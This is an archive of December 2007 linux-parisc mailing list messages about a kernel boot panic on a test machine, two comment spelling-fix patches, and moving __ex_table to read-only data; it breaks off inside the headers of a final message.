From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Tue, 18 Dec 2007 00:33:20 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200712180533.lBI5XfLW009839@hiauly1.hia.nrc.ca>
References: <20071218052750.GD16467@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1197957604 25414 80.91.229.12 (18 Dec 2007 06:00:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 06:00:04 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 07:00:14 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4VV0-0000Dq-6J
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 07:00:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752107AbXLRF7y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 00:59:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752112AbXLRF7y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 00:59:54 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3926 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752107AbXLRF7x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 00:59:53 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBI5xXrJ010544;
	Tue, 18 Dec 2007 00:59:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBI5XfLW009839;
	Tue, 18 Dec 2007 00:33:41 -0500 (EST)
In-Reply-To: <20071218052750.GD16467@fattire.cabal.ca> from "Kyle McMartin" at Dec 18, 2007 00:27:50 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28>

> sigh, i bet this is 84f4506cb788d85a50c97b399f2999f90e6272b0[1]
> 
> does gsyprf11 have a quad port ethernet card installed?

Not sure of the specifics but I see:
20:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5703X Gigabit Ethernet (rev 02)
30:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5703X Gigabit Ethernet (rev 02)

These devices probably contain a Broadcom switch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Tue, 18 Dec 2007 01:02:32 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20071218060232.GF16467@fattire.cabal.ca>
References: <20071218052750.GD16467@fattire.cabal.ca> <200712180533.lBI5XfLW009839@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197957764 25762 80.91.229.12 (18 Dec 2007 06:02:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 06:02:44 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 07:02:54 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4VXZ-0000oC-Le
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 07:02:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752143AbXLRGCe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 01:02:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754671AbXLRGCe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 01:02:34 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:59358 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752143AbXLRGCd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 01:02:33 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 72CAC23E06; Tue, 18 Dec 2007 01:02:32 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712180533.lBI5XfLW009839@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:29
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/29>

On Tue, Dec 18, 2007 at 12:33:20AM -0500, John David Anglin wrote:
> > sigh, i bet this is 84f4506cb788d85a50c97b399f2999f90e6272b0[1]
> > 
> > does gsyprf11 have a quad port ethernet card installed?
> 
> Not sure of the specifics but I see:
> 20:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5703X Gigabit Ethernet (rev 02)
> 30:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5703X Gigabit Ethernet (rev 02)
> 
> These devices probably contain a Broadcom switch.
> 

can you post the console log of where it fails and/or try reverting that
changeset and rebuilding? that's the only obvious change that i can
think of causing a panic on boot.

cheers,
	kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Tue, 18 Dec 2007 00:02:26 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20071218070226.GA6570@colo.lackof.org>
References: <20071216183215.GB8558@fattire.cabal.ca> <200712172353.lBHNrnWf001417@hiauly1.hia.nrc.ca> <20071218052750.GD16467@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197961387 1661 80.91.229.12 (18 Dec 2007 07:03:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 07:03:07 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@hera.kernel.org,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 08:03:18 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4WU2-000591-7Q
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 08:03:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757674AbXLRHC4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 02:02:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757655AbXLRHCz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 02:02:55 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:58405 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757399AbXLRHCy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 02:02:54 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4935A33824D;
	Tue, 18 Dec 2007 00:02:52 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07676-04; Tue, 18 Dec 2007 00:02:35 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A7FB4338247; Tue, 18 Dec 2007 00:02:28 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20071218052750.GD16467@fattire.cabal.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:30
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/30>

On Tue, Dec 18, 2007 at 12:27:50AM -0500, Kyle McMartin wrote:
...
> sigh, i bet this is 84f4506cb788d85a50c97b399f2999f90e6272b0[1]
> does gsyprf11 have a quad port ethernet card installed?

Nope. Eveything on PCI bus 0 is on the motherboard.
It has three addon cards:
-+-[0000:30]-+-00.0  Broadcom Corporation NetXtreme BCM5703X Gigabit Ethernet
 |           +-02.0  LSI Logic / Symbios Logic 53C896/897
 |           \-02.1  LSI Logic / Symbios Logic 53C896/897
 +-[0000:20]---00.0  Broadcom Corporation NetXtreme BCM5703X Gigabit Ethernet

Two tg3 cards and a dual port sym2 card.
"ios" (cupertino test cluster) has a 4-port card if you
want to netboot some kernels on "ios". It's currently sitting at a
PDC prompt.

hth,
grant
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] include/asm-parisc/: Spelling fixes
Date: Tue, 18 Dec 2007 00:07:09 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20071218070709.GB6570@colo.lackof.org>
References: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197961666 2305 80.91.229.12 (18 Dec 2007 07:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 07:07:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 08:07:56 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4WYV-0006Uh-1a
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 08:07:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752530AbXLRHHf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 02:07:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753083AbXLRHHf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 02:07:35 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:58469 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751002AbXLRHHe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 02:07:34 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0B37333824D;
	Tue, 18 Dec 2007 00:07:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07676-06; Tue, 18 Dec 2007 00:07:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 996D8338247; Tue, 18 Dec 2007 00:07:10 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918890.git.joe@perches.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:31 gmane.linux.kernel:615434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/31>

Andrew,
Please include in -mm. "Cosmetic" - but I appreciate correct spelling too.

On Mon, Dec 17, 2007 at 11:30:11AM -0800, Joe Perches wrote:
> 
> Signed-off-by: Joe Perches <joe@perches.com>

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
>  include/asm-parisc/elf.h     |    2 +-
>  include/asm-parisc/linkage.h |    2 +-
>  2 files changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/include/asm-parisc/elf.h b/include/asm-parisc/elf.h
> index f628ac7..8e7946a 100644
> --- a/include/asm-parisc/elf.h
> +++ b/include/asm-parisc/elf.h
> @@ -28,7 +28,7 @@
>  #define EFA_PARISC_1_1		    0x0210 /* PA-RISC 1.1 big-endian.  */
>  #define EFA_PARISC_2_0		    0x0214 /* PA-RISC 2.0 big-endian.  */
>  
> -/* Additional section indeces.  */
> +/* Additional section indices.  */
>  
>  #define SHN_PARISC_ANSI_COMMON	0xff00	   /* Section for tenatively declared
>  					      symbols in ANSI C.  */
> diff --git a/include/asm-parisc/linkage.h b/include/asm-parisc/linkage.h
> index ad8cd0d..0b19a72 100644
> --- a/include/asm-parisc/linkage.h
> +++ b/include/asm-parisc/linkage.h
> @@ -8,7 +8,7 @@
>  
>  /*
>   * In parisc assembly a semicolon marks a comment while a
> - * exclamation mark is used to seperate independent lines.
> + * exclamation mark is used to separate independent lines.
>   */
>  #ifdef __ASSEMBLY__
>  
> -- 
> 1.5.3.7.949.g2221a6
> 
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] drivers/parisc/: Spelling fixes
Date: Tue, 18 Dec 2007 00:08:25 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <20071218070825.GC6570@colo.lackof.org>
References: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918892.git.joe@perches.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197961750 2579 80.91.229.12 (18 Dec 2007 07:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 07:09:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: Joe Perches <joe@perches.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 08:09:21 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4WZr-0006rP-3l
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 08:09:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752676AbXLRHIu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 02:08:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760592AbXLRHIu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 02:08:50 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:58496 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760465AbXLRHIs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 02:08:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3CFB7338247;
	Tue, 18 Dec 2007 00:08:46 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08104-06; Tue, 18 Dec 2007 00:08:28 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C915B33824E; Tue, 18 Dec 2007 00:08:26 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918892.git.joe@perches.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:32 gmane.linux.kernel:615436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/32>

Andrew,
ditto - thanks

On Mon, Dec 17, 2007 at 11:40:10AM -0800, Joe Perches wrote:
> 
> Signed-off-by: Joe Perches <joe@perches.com>

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

thanks again,
grant

> ---
>  drivers/parisc/ccio-dma.c |    4 ++--
>  drivers/parisc/hppb.c     |    2 +-
>  2 files changed, 3 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index 7c60cbd..ca52307 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -363,7 +363,7 @@ ccio_alloc_range(struct ioc *ioc, size_t size)
>  	if (pages_needed <= 8) {
>  		/*
>  		 * LAN traffic will not thrash the TLB IFF the same NIC
> -		 * uses 8 adjacent pages to map seperate payload data.
> +		 * uses 8 adjacent pages to map separate payload data.
>  		 * ie the same byte in the resource bit map.
>  		 */
>  #if 0
> @@ -1589,7 +1589,7 @@ static int __init ccio_probe(struct parisc_device *dev)
>  }
>  
>  /**
> - * ccio_init - ccio initalization procedure.
> + * ccio_init - ccio initialization procedure.
>   *
>   * Register this driver.
>   */
> diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
> index a728a7c..65eee67 100644
> --- a/drivers/parisc/hppb.c
> +++ b/drivers/parisc/hppb.c
> @@ -95,7 +95,7 @@ static struct parisc_driver hppb_driver = {
>  };
>  
>  /**
> - * hppb_init - HP-PB bus initalization procedure.
> + * hppb_init - HP-PB bus initialization procedure.
>   *
>   * Register this driver.   
>   */
> -- 
> 1.5.3.7.949.g2221a6
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jan Beulich" <jbeulich@novell.com>
Newsgroups: gmane.linux.ports.parisc
Subject: __ex_table writable on parisc?
Date: Tue, 18 Dec 2007 16:17:08 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <47680094.76E4.0078.0@novell.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1197995829 17277 80.91.229.12 (18 Dec 2007 16:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 16:37:09 +0000 (UTC)
Cc: <linux-parisc@vger.kernel.org>
To: <grundler@parisc-linux.org>, <kyle@parisc-linux.org>,
	<matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 17:37:21 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4fRV-0007TG-GB
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 17:37:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754332AbXLRQgg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 11:36:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757282AbXLRQgg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 11:36:36 -0500
Original-Received: from public.id2-vpn.continvity.gns.novell.com ([195.33.99.129]:4274
	"EHLO public.id2-vpn.continvity.gns.novell.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754332AbXLRQgg convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 11:36:36 -0500
X-Greylist: delayed 1215 seconds by postgrey-1.27 at vger.kernel.org; Tue, 18 Dec 2007 11:36:35 EST
Original-Received: from EMEA1-MTA by public.id2-vpn.continvity.gns.novell.com
	with Novell_GroupWise; Tue, 18 Dec 2007 16:16:19 +0000
X-Mailer: Novell GroupWise Internet Agent 7.0.2 HP
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:33
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/33>

In an attempt to move as much common code into include/asm-generic/vmlinux.lds.h
I found that parisc puts __ex_table into writeable data - is there any real
need to this? My intention was to make this part of RODATA...

Thanks, Jan

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: __ex_table writable on parisc?
Date: Tue, 18 Dec 2007 11:48:01 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20071218164801.GA7847@fattire.cabal.ca>
References: <47680094.76E4.0078.0@novell.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197996494 19707 80.91.229.12 (18 Dec 2007 16:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 16:48:14 +0000 (UTC)
Cc: grundler@parisc-linux.org, kyle@parisc-linux.org, matthew@wil.cx,
	linux-parisc@vger.kernel.org
To: Jan Beulich <jbeulich@novell.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 17:48:25 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4fcG-0003a5-UB
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 17:48:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756978AbXLRQsF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 11:48:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757895AbXLRQsE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 11:48:04 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:56047 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756978AbXLRQsE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 11:48:04 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 8EF3F23E09; Tue, 18 Dec 2007 11:48:01 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <47680094.76E4.0078.0@novell.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:34
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/34>

On Tue, Dec 18, 2007 at 04:17:08PM +0000, Jan Beulich wrote:
> In an attempt to move as much common code into include/asm-generic/vmlinux.lds.h
> I found that parisc puts __ex_table into writeable data - is there any real
> need to this? My intention was to make this part of RODATA...
> 

likely just an oversight. feel free to proceed with your cleanups, if
anything breaks, i'll squeak eventually. ;-)

cheers,
	kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Fri, 21 Dec 2007 23:02:36 -0500 (EST)
Lines: 154
Approved: news@gmane.org
Message-ID: <200712220402.lBM42boT022861@hiauly1.hia.nrc.ca>
References: <20071218052112.GB16467@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198296189 21016 80.91.229.12 (22 Dec 2007 04:03:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Dec 2007 04:03:09 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 22 05:03:21 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J5va5-0004mp-22
	for glpp-linux-parisc@gmane.org; Sat, 22 Dec 2007 05:03:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
